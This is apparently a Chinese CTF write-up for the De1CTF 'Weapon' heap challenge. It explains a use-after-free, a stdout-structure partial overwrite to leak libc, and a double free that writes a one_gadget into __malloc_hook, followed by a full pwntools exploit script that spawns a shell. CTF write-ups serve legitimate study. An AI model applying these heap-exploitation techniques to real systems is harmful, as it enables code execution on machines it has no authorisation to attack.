De1CTF Weapon(IO_2_1_stdout)

1.保护机制

    [*] '/home/yzl/Documents/delta/weapon/pwn'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

2.漏洞分析

De1CTF Weapon(IO_2_1_stdout)_第1张图片
主要是一个uaf
难点主要在于没有输出函数,并且限制0< chunk size <=0x60。

3.漏洞利用

1) 伪造small chunk,free,fd、bk指针指向 libc

先构造一个0x20的bin 链表
De1CTF Weapon(IO_2_1_stdout)_第2张图片
De1CTF Weapon(IO_2_1_stdout)_第3张图片
在这里插入图片描述
再次malloc 0x18就能取得0x555555757100 处的chunk,这样我们就能将下面0x71的chunk 的size改为0xb1
De1CTF Weapon(IO_2_1_stdout)_第4张图片
再次free就能得到libc
De1CTF Weapon(IO_2_1_stdout)_第5张图片

2)修改 _IO_2_1_stdout_结构体 中的flag域,从而将libc泄露出来

libc地址用一下就好,把size改回0x70,把libc的\x78\x1b改为\xdd\x25,5dd是偏移,2是随便猜的,1/16的几率,多试几次就好
De1CTF Weapon(IO_2_1_stdout)_第6张图片
double free,控制_IO_2_1_stdout_结构体附近的内存,把flag改为0xfbad1800,至于为什么---->大佬这么说。但是我不知道为啥,并不能将_IO_write_base的最低位给修改了,但是不影响
De1CTF Weapon(IO_2_1_stdout)_第7张图片
然后会泄露出一坨东西,随便找一个libc地址然后就能得到libc_base
De1CTF Weapon(IO_2_1_stdout)_第8张图片
就它了

3) 向 _malloc_hook 写入one_gadget,getshell

double free,直接向__malloc_hook_写就好了

exp

from pwn import *
import LibcSearcher as ls 
context.log_level = 'debug'

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


p = process('./pwn')
#p=remote('139.180.216.34',8888)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(index, size, name, choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '1')
        p.sendlineafter('wlecome input your size of weapon: ', str(size))
        p.sendlineafter('input index: ', str(index))
        if len(name) != size:
            name=name+'\n'
        p.sendafter('input your name:\n',name)
    else:
        p.sendlineafter('choice >> ', '1')
        p.sendlineafter('wlecome input your size of weapon: ', str(size))
        p.sendlineafter('input index: ', str(index))
        if len(name) != size:
            name=name+'\n'
        p.sendafter('input your name:',name)
    


def delete(index,choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '2')
        p.sendlineafter('input idx :',str(index))
    else:
        p.sendlineafter('choice >> ', '2')
        p.sendlineafter('input idx :',str(index))

def rename(index,name,choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '3')
        p.sendlineafter('input idx: ', str(index))
        p.sendlineafter('new content:\n', name)
    else:
        p.sendlineafter('choice >> ', '3')
        p.sendlineafter('input idx: ', str(index))
        p.sendlineafter('new content:', name)

create(1, 0x60, '1')
create(2, 0x60, '2')
create(3, 0x20,'a'*0x10+p64(0)+p64(0x21))#伪造0x20 chunk,达到修改chunk 6 的chunk head的目的
create(6, 0x60, '6')
create(4, 0x1, '4')
create(5, 0x1, '5')



create(8, 0x60, '8')
create(9, 0x60, '9')
create(7,0x50,'a')

#make fake chunk
delete(4)
delete(5)
delete(4)
delete(6)
create(7, 0x1, '\x00')
create(7, 0x1, '\x00')
create(4, 0x1, '\x00')

#get libc
create(4, 0x12, p64(0) + p64(0xb1))
delete(6)
rename(4, p64(0) + p64(0x71) + '\xdd\x25')
create(7, 0x60, 'a')

#leak libc
create(7, 0x60, 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)

print hex(libc_base + libc.symbols['__malloc_hook'])
malloc_hook=libc_base + libc.symbols['__malloc_hook']
offset=0xf1147
one_gadget=libc_base+offset

#change __malloc_hook to one_gadget
delete(8,1)
delete(9, 1)
delete(8, 1)

create(9, 0x60, '\x00',1)
create(9, 0x60, '\x00', 1)
rename(8, p64(malloc_hook -0x13), 1)
create(9, 0x60, '\x00', 1)

create(8, 0x60, 'a' * 3 + p64(one_gadget), 1)

p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(0x50))
p.sendlineafter('input index: ', str(1))
p.interactive()

https://hpasserby.me/post/8e1cd5dc.html#overlapping
https://bbs.pediy.com/thread-246966.htm

你可能感兴趣的:(pwn)